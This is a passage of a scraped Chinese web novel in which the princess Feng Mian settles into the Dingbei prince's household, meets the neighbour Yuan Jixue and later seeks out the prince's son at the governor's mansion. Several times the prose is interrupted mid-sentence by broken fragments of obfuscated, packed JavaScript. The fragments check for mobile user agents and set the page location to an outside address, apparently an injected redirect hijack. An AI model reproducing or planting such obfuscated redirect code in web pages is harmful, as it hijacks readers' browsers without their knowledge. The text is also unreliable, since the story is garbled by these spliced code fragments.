l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036547|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身与他并肩,自鼻腔发出一声冷哼:“是谁人嘴上说着不愿啊?这倒好,一路巴巴地将人护送回来了。” “偶遇,纯是偶遇!”百里浔舟气结,不想理他,连一个眼神也未分给他,快步越过定北王冲进院子。 定北王:“啧,还嘴硬。瞧这急吼吼的样儿,当你爹我没年轻过?” 山衣捂着耳朵去追百里浔舟,不听不听王爷念经。 封眠本以为王府内应是与北疆一脉相承的粗犷风格,没想到进了院子,映入眼帘的却是小桥流水般柔婉的江南风格。 粉墙黛瓦,曲水飞檐。在北疆建这样一座精巧的宅院,想必没少花心思。 她记得王妃似乎是江南人,早年嫁给定北王后,便随夫定居北疆。如今见王府上下皆是王妃的喜好,看来定北王与王妃当真是伉俪情深。王府真正的话事人也只有一位。 封眠这般想着,面上的笑容愈发乖巧,拿出在嘉裕帝面前卖乖讨巧的模样,轻挽住王妃的手臂,亲昵道:“我自幼在盛京,没出过远门,也鲜见外人。来时一路都在忐忑,不知北疆是何模样,更不知王爷和王妃是否会喜欢我。如今见王妃是这般貌美温和之人,心下立时便安定下来了。” “还是姑娘家说话可人心。我家那皮猴,惯是个闹心的。也不知他这一路可有何冒犯郡主之处?” “世子殿下很好。若非在狼骨岭偶遇世子殿下,这一路行来恐怕不会如此顺利。只是……”封眠略蹙了蹙眉,一副欲言又止的模样。 王妃轻轻拍拍她的手:“我当年亦是远嫁,举目无亲,甚是惶惑,万分理解郡主的心情。郡主有何事都可与我但说无妨。” 封眠露出苦恼的神色:“世子似乎不是很喜欢我。我怕最终婚事不成,若我就这般回了盛京……” 这混小子又当着人家姑娘面说了什么?王妃的眼风淡淡扫过不远不近缀在后头的百里浔舟。百里浔舟一个激灵抬头时,王妃已转过视线安慰封眠。 “婚姻大事,父母之命,媒妁之言,更何况你二人的婚事是圣上所赐,他岂有二言?”王妃这般说着,心下却有些不忍。她与定北王的婚事是定北王亲自上门求来的,两情相悦方才和睦恩爱。可如今这两个孩子却被一道圣旨强行锁在了一处,往后的日子也不知是苦是甜。 只是婚姻中苦的总是女子。 这些话自然是不能说出口的,小郡主如今忧的是婚事不成,王妃能做的也只有暂且为她宽宽心,至于往后的事,往后再慢慢看罢。 “府上正在准备你们的婚仪,定能按期完婚,郡主且安心就是。” 说话间,王妃领着封眠踏上了游廊:“短短一个月内,郡主府确是建不出来的。不过自接了圣旨,府上便在收拾院子,定让郡主住得舒服。前面便到了。” 将将转过青砖廊角,视野豁然开朗,满庭清光笼在一道月洞门上,高悬的黑底洒金匾额上,"雪月居"三字如刀刻一般,锋芒锐利。院内湘妃竹倚墙而立,高过院墙的竹节挺拔翠绿,格外喜人。 封眠一见便笑了:“巧了,我在宫中住的暑月殿内也种着湘妃竹。我还当来了北疆便见不到了呢。” “我想着你或许会喜欢。这几株竹子在冬日里皆是养在地窖里以盆栽种,前几日才移栽出来,派人日日好生养护着。” “进去瞧瞧吧。” 王妃正要领封眠进院子,前头的游廊下忽然迎面走来两个人,王妃一见讶然:“寄雪?” 规矩得一路垂首的少女听见有人唤自己的名字才抬头望来,面如春月一般皎洁。她瞧见王妃,抿唇一笑,温温柔柔地行礼:“民女见过王妃。” 14. 第 14 章 “民女元寄雪见过郡主殿下。”少女十分熟稔地与王妃见过礼后,略有些困惑地看了看封眠,旋即堆起温婉的笑,冲她一礼。 “你认得我?”封眠有些好奇地望了望她,细细打量一眼。这是个难得一见的美人,素净的衣着更衬得气质清雅。 观她周身打扮,以及方才跟在王府丫鬟身后规矩垂首的模样,可知她并不是什么官家小姐,却又与王妃颇为亲近的模样。不知她是什么人? 身后流萤更是警惕,她看多了话本子,这种时候突然出现在话本男主角府邸上的,八成都与男主角有些不可言说的情感纠葛。 昨夜流萤因为翌日就要进王府而紧张得没睡好,一路都在犯困,此刻顿时打起了十二万分的精神,盯住眼前的貌美女子。 元寄雪弯了弯一双笑眼,十分不卑不亢的模样,“民女不曾有幸得见郡主。今日是到了王府才听闻郡主殿下仪驾已至,这才斗胆一猜。看来民女并未猜错。” 倒是个聪明又胆大的。封眠弯了弯唇角,流萤却是又睁圆了眼:都知道郡主今日入府了,还不改日再来,便要撞到面前来是怎么个事?定有古怪! 一旁王妃问道:“寄雪既来了,怎么也不让下人通传一声。若不是正巧撞见了,你是不是想就这么悄悄走了?” “郡主初至,王妃想必无暇待客。寄雪身份低微,也是委实不便打扰。”元寄雪眉眼低垂了一瞬,略有些不好意思地说着,抬了抬手臂,给众人看腕间挂着的那只小竹篮,“只想着将新制的药包搁下便走了。” 王妃笑吟吟道:“你也是我看着长大的孩子,不必如此见外。” 似是怕封眠误会什么,王妃侧首与她简单介绍了一下元寄雪,“元家的院子就在王府隔壁。寄雪的父亲在外经商,不常回来。我家这两个也是时时不着家,寄雪便常来与我说说话。” 封眠点点头:“原来是邻居,那可当真有缘份。” 流萤倒吸一口凉气:青梅竹马!比邻而居!最糟糕的情况终于还是来了!郡主,什么缘份啊,你可长点心吧! 流萤忍不住去拽封眠的袖子,封眠回头瞧她,奇怪地问:“怎么了,流萤你可是眼睛不适?” 王妃和元寄雪也投来关切的目光。 元寄雪:“何处不舒服?我略通医理,可以帮忙瞧瞧。” 流萤忙摆手:“奴婢没事,风沙迷眼罢了。雾柳你帮我瞧瞧就行了。” 流萤拉过雾柳,雾柳凑近她,小小声问:“你干嘛呢?” 流萤:“保护郡主啊。” 雾柳:? 流萤:“算了,跟你们两个说不清楚。晚点再说。” 一旁元寄雪轻言关切起封眠,“北地风沙大,郡主可有不适?” “说来惭愧,一路尽坐在马车上,也没怎么好好瞧瞧北疆风光。”封眠可惜道。 那百里浔舟带路尽走些荒僻之地,也不知是不是故意要让她感受一下北疆之苦,着实是没瞧见什么风光。 “我观郡主面色?白,山根青暗,略有神疲目瞑之态,显然一路都未能休息好,定是病过几次,待安顿下来,切要好生休养。” “多谢,我自幼身子便不好,已习惯了。”封眠唇角轻扬,点漆般的眸子泛起一点好奇,“仅是望诊,你便能看出这么多信息,只是略通医理吗?” 元寄雪还未及开口,王妃便含笑道:“这孩子呀,谦虚呢。她自幼自学医书,将王府的典藏几乎都读遍了。” “纸上谈兵罢了,从未诊过病人,只会借助药理配些药包,消磨光阴罢了。”元寄雪说话时不紧不慢,听在耳中如春风拂过一般舒服。 王妃无奈地点点元寄雪额头,完全一副家中长辈的模样,转而对封眠赞道:“寄雪做得药包确是极好。我睡不好觉时,全靠她的药包安神助眠。”王妃说着,从元寄雪手中接过一个素罗底绣折枝海棠的药包,递与封眠瞧。 “元姑娘绣工真巧。”封眠凑近闻了闻,淡淡的药香被一道清甜的花香压着,丝毫不冲鼻,即便她不喜药味,闻着这药包也不觉得难受。“这药包味道也很是特别。” “郡主谬赞了,一点小手艺罢了,怕是比不得盛京的。” “什么比不过盛京?”百里浔舟和定北王终于慢吞吞地跟上来了。他们爷俩向来不爱逛园子,落在后面又聊起了北疆兵防与狼骨岭事宜,越走越慢,唇枪舌剑地吵了一会儿,才想起来追上王妃的脚步。 元寄雪向两人行礼:“民女参见王爷,世子哥哥。” 世子哥哥? 跟在封眠身后的流萤和雾柳唰地扭头对视一眼,两眼震惊。 原本警惕心略消对流萤又精神抖擞起来,竖起耳朵等着下闻。 封眠也吃了一惊,眨巴眨巴眼,瞅瞅元寄雪,又瞧瞧百里浔舟。 这是什么好哥哥好妹妹的戏码? 但百里浔舟只是寻常地点了点头回礼,元寄雪也并无什么面若桃花的娇柔之态,十分自然地将手中的小竹篮递给了百里浔舟。 “方才我们在说这个。正巧,这两个是给王爷和世子哥哥的,添了薄荷龙脑,可以醒神抗疲,若是急行军时可以带在身边。” 百里浔舟似乎误会了什么,着意看了一眼封眠,一接过竹篮便扬声夸赞:“元姑娘的手艺自是极好的,大可不必理会旁人挑刺。若是喜欢盛京的东西,便回盛京去。何必在我北疆挑三拣四。” 这是在明晃晃地拿话刺封眠呢。 世子怎么这样?这个元姑娘莫不是故意的吧!流萤可逮着机会了,气鼓鼓地刚要护主,一道女声抢先解释道:“世子误会了,郡主方才其实是在称赞我的手艺,我便自谦了一句。” 元寄雪说着,略带歉意地看向封眠,“是我言辞有误,世子哥哥性子直,说话急了些,还望郡主切莫着恼。” 任谁见了都会觉得元寄雪真心实意地在致歉,流萤却在内心呐喊,你与世子是何关系啊,代他请郡主原谅,亲疏远近岂不是一下子就分出来了! 她恨不能贴着自家郡主的耳朵吼一嗓子。 不过封眠只是看得话本子少了些,却又不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036548|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻子,横竖都在宫中待过那么多年,此刻也看出了元寄雪暗暗地想要展露自己与百里浔舟之间的亲近。 只是她到底有些少女的骄傲,想要做些绿茶行径,却又磨不开面子,似乎更不想在王妃面前表露这一面,因此别别扭扭束手束脚,看在封眠眼中,着实无甚杀伤力。 百里浔舟不知这些弯弯绕绕,他只知是自己因固有的成见误会了封眠,岂能由旁人代自己道歉,当即走到封眠面前,郑重地抱拳致歉:“抱歉,我不知前因后果,便随意评判,是我的错。” “好了好了,不过一点言语上的误会,何至于让你们二位接连道歉。”封眠忙错了一步避开百里浔舟的大礼。如此这般,显得她这人多小气似的。 王妃揽住封眠,嗔一眼百里浔舟,“他道歉是该的。听风便是雨,这性子说好听了是心直口快,说难听了就是没长脑子。” 百里浔舟张了张嘴,终究是一个字也没说出来,只能憋气地看着自家母亲,默默认下了这句骂。 元寄雪见状,开口告辞为他解围,“东西既已送到,我便先回了。” 她说着又看向封眠,一双漂亮的桃花眼格外真挚,“今日未料到会在此处见到郡主,为郡主准备的药包还缺些材料,需等两日才能做好。万望郡主勿怪寄雪今日轻忽。” 怎么又道歉?也太爱道歉了。封眠在宫中十几年收到的道歉,都没今日的多。毕竟唯一老爱招惹她的褚景涟可不是个轻易道歉的性子。 “元姑娘实在不必如此客气。天色还早,你是我来北疆后,见到的第一个年纪相仿的姑娘,不如留下来一起说说话吧。” 怎么说也是王府十几年多邻居,对王府定然比她这个初来乍到的人熟悉,说不定能从她这里多打听些消息。 流萤不解郡主还怎么留人,她巴不得元寄雪早早走呢。 “多谢郡主厚爱,只是今日父兄归家,我实在不好在外久留。”元寄雪有些为难道。 一听元寄雪说她父兄回来了,百里浔舟眉梢微沉,“那岂好让你一人回去?” 回家而已,一个人有什么不成的?流萤心头一跳,世子这么说不会是要亲自送人回去吧?这成何体统,被街上那群百姓知道郡主到北疆的第一天,世子就送旁的女子归家,郡主处境岂不是更难了! 她忙悄悄推了推封眠的后腰,暗示她快快开口阻止世子。 “今日郡主刚到,世子哥哥不必……” “山衣,你去送元姑娘一趟。”百里浔舟回身利落地吩咐道,然后才注意到元寄雪说了话,“元姑娘,你方才说什么?” 流萤:“……” 白担心了。 封眠不动声色地侧了侧脸,抿紧唇克制着忍不住想上扬的唇角。她就知道,这位世子殿下定是没听懂姑娘家的暗示和欲拒还迎。 元寄雪:“……” 元寄雪有些尴尬地攥了攥手帕,抿着唇摇了摇头:“没什么,多谢世子哥哥。” 她转身和山衣一道离开,袅娜的身影很快消失在交错回廊间。 15. 第 15 章 “多谢世~子~哥~哥~” 雪月居内,青铜狻猊炉中安神香的暖雾浮沉,封眠斜倚在贵妃榻上,榻边矮几摆着未喝完的玫瑰露。 流萤一面替她揉按着两侧太阳穴,一面气鼓鼓地学舌,很是不快:“郡主和雾柳竟没看出来,那位元姑娘对世子殿下心思不纯啊!” 当真是只有她一人着急! “好啦,知道你是为着我好。”封眠安抚地拍了拍流萤的手背。好容易歇下来,她脑袋里有根筋突突地跳,没精神得很,语调都虚浮了两分,“但她好歹帮了我一次,在背后这般议论她,总归不好。” 元寄雪走后,王妃惦记着她对封眠的望诊之言,园子也不逛了,即刻请了一路随行的侍医来把脉。 侍医所言也与元寄雪一致,封眠此刻无事,不过是一股精气神撑着,待安顿下来,歇过神来了,定要病一场。于是又是开方熬药地一顿折腾,王妃连接风洗尘的晚宴都免了,叮嘱封眠要好生休息。 众人一散,封眠也果真如晒干了的葱韭似的蔫了下来,倒在贵妃榻上起不来身。留了流萤按头,雾柳去指挥众人收摆器具。 流萤一听此言便安静了下来,半晌没了动静。 封眠睁眼看去,便见她一张嘴撅得能挂油壶了,显然是还压不下心中憋闷。 “心中久郁必成疾,你就将此事搁下吧。你瞧世子那般模样,显然对儿女之情全不上心。”封眠出言宽慰,她可真担心流萤将自己憋闷死了。 流萤撇撇嘴:“那也只是暂时的,世子总不会一辈子如此啊。元姑娘与世子青梅竹马,必然对世子的喜好了如指掌,又近水楼台,还胆大包天。郡主刚到,她就敢入府,当着郡主的面,一口一个世子哥哥叫得亲热。若世子不堪引诱,与她结了同心,郡主要如何自处呢?” “奴婢不想见郡主如奴婢母亲那般,更不想日后若有了小主子,也要跟着一同吃苦……”流萤微垂着眼,咬着嘴唇,向来天真快活的圆脸蛋上流露出点点忧思。 流萤的父亲在迎娶她的母亲之前,便已有了一个青梅竹马的知心人,虽因父母之命娶了妻,却夫妻离心,连带着对夫妻俩的独女流萤也毫不上心。流萤的母亲郁郁寡欢,早早便去世,留下年仅四岁的流萤。 而妻丧不过月余,流萤的父亲便将小青梅娶进了门,再过几个月,那小青梅便趁夫君出远门,将小流萤卖做奴婢。 封眠半坐起身,拉着流萤在自己身侧坐下,轻声哄道:“好了好了,都是八字尚没有一撇的事,何苦提前烦恼?况且世子会喜欢的应是那等可与他一同提剑策马安天下的侠女,可不是我和元姑娘这般内宅中的弱女子。” 尤其是她这般病弱的女子,他看起来是最不耐烦应付了。 “郡主难道就不想与世子举案齐眉,和和美美吗?”流萤不解地问,一双眼从圆溜溜的葡萄皱成了葡萄干。 举案齐眉,和和美美? 封眠倒是做过这样的梦,可惜没能成真。如今要嫁的这位啊,将来说不定就是要造反的谋逆之臣。有朝一日,或许便成反目仇敌,兵戈相向。 当然,她会竭力阻止那一日的到来。至于其他的,眼下可不好定论。 “往后的事,往后再说吧。现在哪算得准呢?好流萤,我头痛,快帮我再按按。”封眠没骨头般往流萤怀中一躺,拉长了调撒娇。 流萤忙调了调坐姿,让封眠躺得更舒服些,纳闷道:“侍医不是说去煎药了吗,怎么还没送药过来?” “你到底去不去送药?” 王府前院里,王妃将百里浔舟摁在一碗热腾腾的药前,美目微凝,几乎都要带上几分杀气腾腾的威胁了。“郡主正等着呢,你还不快去?” 百里浔舟浑身硬挺得如同刀鞘一般,直邦邦地梗着脖子:“我才不去献殷勤。” “送碗药而已,你犟什么?郡主毕竟刚到府上,作为主家,这点待客之道总要有吧?” “母亲身为王府主母,您亲自去岂不是更能体现对郡主的重视?况且她带了那么多人在身边,还能照顾不好她吗?” “我去与你去怎能一样?你是她未来的夫婿,此时多关心关心,才好让千里迢迢赶来的女儿家心里安定。”王妃恨铁不成钢地戳了戳自己儿子的脑门,一天天不解风情便罢,还死犟! 百里浔舟听了,更是不喜,“我本就不想娶她,何必做让人误会之举?” 他蓦地想起同形第一夜,封眠在树下与他说的那番话。他知盛京人狡猾,讲得未必就是真心话,可还是难免在意,便想将态度摆得更明白些,不想黏黏糊糊没个决断。 “你这……” 王妃刚要斥他,他便竹筒倒豆子般一字赶一句地说了一长串:“我倒觉得母亲若真为她好,还是退婚让她回盛京去。她那样的小身板能在北疆待几日?怕是日日要病。这就是个祖宗,我可供不起。” 气得王妃都要去请家法了,她左右瞧瞧没有旁人听见,一巴掌拍在百里浔舟的后背,又被他梆硬的后背打得疼了,甩了甩手掌。“与你说过多少遍了,不许在家中再提起退婚这个词。你当真是不知女子处境有多艰难,若……” “世子!”外头一人疾行而来,向来肃然的轻衣难得失了礼数擅闯,“出事了。” 百里浔舟拔腿便走,到门口时忽地顿足回首:“母亲,这便是我与她无缘。” 王妃轻叹一口气,罢了,强扭的瓜不甜,还是她亲自去关心一下郡主吧。日后得多劝劝郡主以自己为重才是。 许是提前用了药,加之终于不是在马车上过夜,封眠饱睡了一夜后,已觉神清气爽。她用过早膳后便打算与王妃报备一声,出门去看看嫁妆单子里几间置办在云中郡的铺子。 雾柳起先还有些担心王妃不准他们出去,毕竟盛京之中规矩大,平日里贵女闺秀便被框在家宅之中,成婚前月更是大门不出二门不迈,不许见生人。 王妃却道:“入乡随俗,北疆没有这般规矩。郡主想何时出门逛,便何时出门。只是切要带好侍卫,护好自己的安危。” “衣裳可别穿薄了。你莫小瞧了北疆的风,吹得久了,连骨头都是冷的。”王妃说着劲上手检查了一番,细细摸了一番封眠身上衣裳的厚度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036549|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又替她将鹤氅的绒领围紧了些,叮嘱道:“别出去太久了。你这身子还得慢慢养,往后时日还长,做什么事都慢慢来,不着急。” 封眠一时有些恍惚,她自幼鲜少有被女性长辈这般照顾的经验,嘉裕帝毕竟是男子,无从代替母亲的存在。 幼时她只见过柔妃这般精细地照护褚景涟,若她与褚景涟一起挨了罚,对比便更明显。柔妃会亲手做了褚景涟爱吃的点心塞进来,封眠也有御膳房的点心,为了她的健康,加了些补品,吃起来总有股淡淡的药香。她不大喜欢。 但她却也不敢让嘉裕帝知道她心中渴求一个温柔的母亲,毕竟做人总要知足嘛。所以她总暗暗劝自己,就算其他人都有母亲护着算什么?能护着她的人,可是这天下之主。 可此时此刻,身处北疆,被王妃纤柔十指摸着衣裳检查,鼻尖能嗅到温暖的鹅梨香,耳边是女子温柔的轻絮。 让封眠恍惚有种被母亲呵护的感觉,乖巧得任其摆弄,也贪恋着这一刻温暖。 最终还是被王妃找到了疏漏之处,袜子不对。 “寒从底来。你得格外护着双脚才是。” “王妃说得正是呢,奴婢劝郡主穿上兽毛袜,她偏不肯。”流萤仿若找到了知己,忙小告一状。 “如今都快五月了,即便是在北疆,穿兽毛袜也太夸张了吧?待到冬月里,我还能穿什么啊?” 真不能怪她不愿穿,那兽毛袜一上脚便闷闷地热,走路都燥得慌。 王妃好笑道:“兽毛袜确是夸张了些,穿药袜就行了。” 她招招手示意侍女上前,从侍女手中的托盘拿起双袜子递予封眠,“这药袜的夹层填了艾绒,轻软又暖脚,有养生之效,正适合你穿。” 封眠一看那药袜竟正是她的尺寸,眼睫颤了颤,她才到王府,这药袜总不能是昨夜才准备的。 “王妃是何时备下的……” “陛下赐婚时,我便知晓你自幼体弱,也担心你来了北疆不适应,便想着如何能让你舒服些。” “但你也看到了,北疆物产不如盛京丰富,起居所用之物,恐怕陛下都打理得妥妥帖帖。便只能另辟蹊径,想些巧思。”王妃冲封眠眨眨眼,颇有些骄傲道,“这还是寄雪的主意,艾绒也是她亲自做的。可巧,今日便用上了。” 流萤脸红了,昨日她还因元寄雪对世子殿下的心思而将人钉上耻辱柱,今日就得知元寄雪竟也为郡主费了不少心思,顿时羞愧几分。 她心中默默向元寄雪道歉,但也想着一码归一码,此事需道谢,若元寄雪要与郡主抢世子,她还是得护着郡主的。 封眠唇角微弯,颇为惊喜:“让元姑娘费心了,改日有机会,我定要登门向她道谢。” “遣人去请寄雪来府中做客便好了,不必登门。”王妃忽然叮嘱道,显然很是不愿封眠登临元府。 王妃并不像是瞧不上商户的性子,为何不愿让她登元家的门呢? 见王妃没有说缘由,封眠便也没有多问,只点头应了,便携流萤和雾柳出了门。 熟料刚到铺子,便遇见了元寄雪。 16. 第 16 章 三尺宽的桐木匾上描着漆色鲜亮的“回春堂”三个字,门两侧贴着的对联上以遒劲的字迹写着“但愿世上无疾苦,宁可架上药生尘”。 地上铺着整齐的青砖,入内可见三面墙的通天柜,每格皆以桑皮纸贴做标签,墨书当归、黄芪、柴胡等一应药材名。 身条瘦长的药铺伙计正立在柜台后面检查手中药丸的品质,扬着笑脸与身前一名素色衣衫的女客说着话:“元姑娘这批苏合香丸制得甚好,掌柜的说可与姑娘多提一成利。药材还是按原先的价算。” 那女客轻轻颔首:“烦请替我多谢掌柜的。还按上次的量称药吧。” 伙计应了一声,转身去药柜忙碌起来。 女客的声音传入刚踏入店内的封眠耳中,只觉格外熟悉。她上前两步略略探首,果然瞧见一张熟悉的面孔,讶然唤了一声:“元姑娘?” 女客闻声回首,正是元寄雪。她今日装扮得甚是清淡,素色衣裙上连一道绣纹都无,发髻也只簪着枚乌木簪,比昨日还要不像一个富裕商户家的小姐。唯相貌格外出色,一瞧便不是普通人家的女儿。 许是没想到会在此时此地遇见封眠,她愣了片刻才行礼:“见过郡主。” “不必多礼。”封眠虚虚将她扶起身,浅浅一笑,“当真是巧了,我才与王妃说要谢你,这便遇见你了。” “谢我?”元寄雪只困惑了一瞬便想到什么,恍悟道:“郡主不必谢我,我不过粗浅地为郡主望诊了一番,开药预防应皆是郡主身边侍医的功劳,实在当不得这个‘谢’字。” “此事要谢你,还有一事也要谢你。”封眠在元寄雪面前踮了踮脚,眨了眨眼,提示道,“药袜。” 元寄雪莞尔:“这算不得什么。是王妃心系郡主,我不过出出主意罢了。郡主今日怎会来此?” “我来瞧瞧铺子。”封眠说着看向伙计,“你们掌柜的呢?” 正称药的伙计早在听见元寄雪唤封眠郡主时便频频回首,跃跃欲试地望着封眠,只是见封眠一直与元寄雪,才没上前见礼。如今见封眠看了过来,忙搁下戥子,绕过柜台行礼,恭敬道:“回郡主,掌柜的出城收药材去了。他吩咐过小的,若郡主来了,便请去后堂略坐,一应账册都已备好了,敬等郡主查阅。” 元寄雪这才意识到,回春堂原来竟是郡主的嫁妆之一。难怪在赐婚圣旨送来后不久,回春堂便开了起来。不但迅速一跃成为北疆药材最全的药铺,还存有许多难得一见的珍惜药材。想来是圣上忧心郡主的身体,才特地添了家药铺做陪嫁,这店内的所有药材,都是准备为郡主服务的。 元寄雪心绪复杂地看了封眠一眼,清平郡主当真是极其好命啊。 “今日便罢了吧,我只是来瞧瞧铺子有无问题。至于账本,待掌柜的回来了,你告知他,每月初十,遣人将账本送至王府雪月居便可。” 在北疆的第一次出门,若只是待在店里看账本,也太无趣了。 “是,小的一定将话带到!”伙计格外有活力地应了声。 “元姑娘今日来此做什么?可忙完了?”封眠有些期盼地看向元寄雪。她昨日还遗憾着没能留元寄雪多说说话,打听打听王府的情况,今日机会就送上门来了。 元寄雪被这么一问,有些犹豫迟疑地张了张唇,似乎不大想说。 但一旁的伙计已经极为热情地代她开口:“元姑娘是来卖药的。她从铺子里按底价拿药材,回去制成药丸,由我们代售,再行分利。” 卖药? 昨日流萤有意地打听了下元家的情况,王府上下都嘴严得紧,她也只得知了元家是做药材生意的这一条信息。 既然自家是做药材生意的,缘何还要上外头的药铺买药制药再寄售? 元寄雪略有些清冷的声音此时才响起:“家父管教甚严,不许任何人碰家中药材。我又对医药一道格外感兴趣,便想着在外试一试手。” 她微扬着下巴,肩背格外挺拔,防御的姿态仿佛在给自己打气一般,做出骄傲的意味来,不肯流露丝毫弱态。 想到王妃和世子对元家讳莫如深的态度,封眠猜测元寄雪或许在家中处境并不好,许是个不受宠的孩子。 没有人愿意在陌生人面前暴露自己的脆弱。 封眠未再追问,只眉眼弯弯地向元寄雪投去钦佩的视线,“元姑娘心有所好,既能安身立命,又能济世救人,真叫人羡慕。” “郡主谬赞了。”元寄雪微微垂首,眉眼轻敛,抿唇淡淡一笑,这才接着回答封眠方才问的话,“我已忙完了,郡主可是有事?” “那可太好了。”封眠眼眸一亮,忙不迭问道:“不知你可愿带我在这城中逛一逛?” “郡主不去瞧铺子了吗?”元寄雪还以为她出门一趟是特地巡查嫁妆铺子的。 “铺子何时都能看,今日能遇见你却是要靠缘份。除了世子、王爷和王妃,我便只认得你一个在北疆长大的人,只能劳请你做一回伴游了。你可愿意呀?”封眠眼巴巴又问了一遍。 “自然。”元寄雪答应得极为爽快,“郡主远来是客,能尽地主之谊,是我的荣幸。” 说话间,伙计将包好的药材递了过来。元寄雪正要伸手去接,流萤抢先一步拿了过去,“元姑娘安心陪郡主逛着,这些东西交予奴婢拿吧。” 她出出力,也算谢一谢元寄雪对郡主的好了。 “那便多谢了。”元寄雪也未与她争,领了封眠便出了回春堂。 街上熙熙攘攘,人与喧阗,流萤与雾柳一左一右地将封眠和元寄雪护在中间,两名侍卫并马车在后头不远不近地缀着。 封眠观热闹街市,状似无意地挑起话头:“我初来乍到,也不知北疆这边有何待客风俗。你与王府比邻,能否给我讲讲王府宴请宾客时,可都些什么不同的规矩?” 元寄雪略想了想,道:“那倒没有什么吧。王府上也鲜少待客。北疆四处总有不安生的地方,王爷与世子十日里有六七日都在外平乱。王妃也不大喜欢与官员家眷交游,多数时候都是深居简出。” 那岂不是在北疆之内,也没什么相熟交好的官员?看来定北王暂且还没什么结党的苗头,不过几十万兵权在握,真反起来,从前没结的党,也不得不结了。 这一点不能当作判断是否已有反心的依据。 元寄雪接着又说道:“最近一次宴客还是招待的小侯爷。世子殿下亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036550|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作陪。” 小侯爷?封眠反应了一下,才想起来:“可是秦王殿下的嫡子褚景淇?” “正是。”元寄雪点点头。 “世子殿下瞧着不像是与小侯爷这等纨绔子弟走得近的人啊,居然亲自作陪?”封眠困惑地嘀咕两句,往日年节相见,她都有些遭不住这位表哥那浑身用不完的劲头,每每称病早退。 她转念想到秦王的官职,忽然恍悟:“莫不是为了军费粮草?” “应当是吧。我听王妃都忍不住抱怨过两回,说秦王殿下扣扣索索的,指着他批粮草的速度,定北军上下都要饿上月余才行。非得催一催秦王殿下不可。” 元寄雪玩笑一样说着,封眠心里却打起了鼓。谁不知军费粮草的重要性,兔子饿急了还咬人呢,说不定这一条也是日后世子殿下谋逆的理由之一呢。 她当即也做出单纯八卦的模样好奇追问:“那现下可要到了?” “似乎……”元寄雪略有为难地蹙了蹙眉,“我也不大清楚,只是昨日世子殿下急匆匆出门去寻小侯爷。那脸色吓人得紧,我没敢多问,但看起来不像是一切顺利的样子。” 流萤又竖起了警惕的小耳朵:昨日世子殿下去了何处,连王妃都说不清楚呢,她怎的又知道? 封眠全然没注意这一点,她下意识觉得自己得去一趟,当即问道:“世子殿下现在在何处?” “昨夜世子没回王府吗?” 元寄雪这一问让封眠有些噎住了,她光惦记着今日出门看铺子,哪还想得起来关切世子回府没回? 她悄悄将视线投向雾柳,见雾柳摇了摇头,便坚定道:“没回。” 元寄雪为难道:“那我便不知晓了。今日我也还未见过世子殿下。总之应还在云中郡内,郡主若要找世子殿下,不若回王府等着比较快。” “哦,那倒不急。”封眠笑眯眯摆手,却想着若是世子没找着褚景淇的人影,说不定也会去守株待兔。 “我都不知景淇哥哥竟也在云中郡,算起来我与他也许久未见了,他可是下榻在郡守府?” 元寄雪点点头,郡守是秦王的小舅子,小侯爷每每来云中郡,都宿在郡守府。 封眠便抱歉地约元寄雪下次再同游,与她道别后,匆匆上了马车,往云中郡郡守府行去。 郡守府内,青砖垒砌的影壁上绘制着獬豸吞日图,一道人影尖叫着狂奔跑过。 褚景淇:“你不要过来啊!” 身后百里浔舟提着长枪拔足狂追:“你站住!你跑什么!” 褚景淇绕着影壁转了一圈:“那你追什么!你先站住!” “你若不跑,我会追你吗?”百里浔舟追着他绕过影壁,举起长枪指着他的背影威胁:“你再不站住,我可不客气了!” “你敢!你动手试试看!”褚景淇再次绕过影壁,余光瞅见府门打开了,当即一喜,扭身往大门方向跑去,“哈哈,本侯先走一步!” 眼瞅着人往大门跑去,百里浔舟暗骂山衣是怎么看门的,旋即瞄准褚景淇张扬的大袖摆,提枪便扔了过去。 遮住视线的飘扬袖摆下落,百里浔舟看见封眠的身影出现在褚景淇身前,当即色变! 17. 第 17 章 封眠赶到郡守府时,便见大门紧闭,山衣抱臂守在门口,门内传来褚景淇杀猪般的惨叫。 糟了糟了,百里浔舟不会为了军费粮草,对褚景淇下死手吧! 她急急想冲进去,下了马车却被山衣拦了。 山衣:“郡主殿下,世子有要事与小侯爷商议,吩咐了不许任何人打扰。您要不待会儿再来?” 话音刚落,里头又响起褚景淇的嗷嗷惨叫。 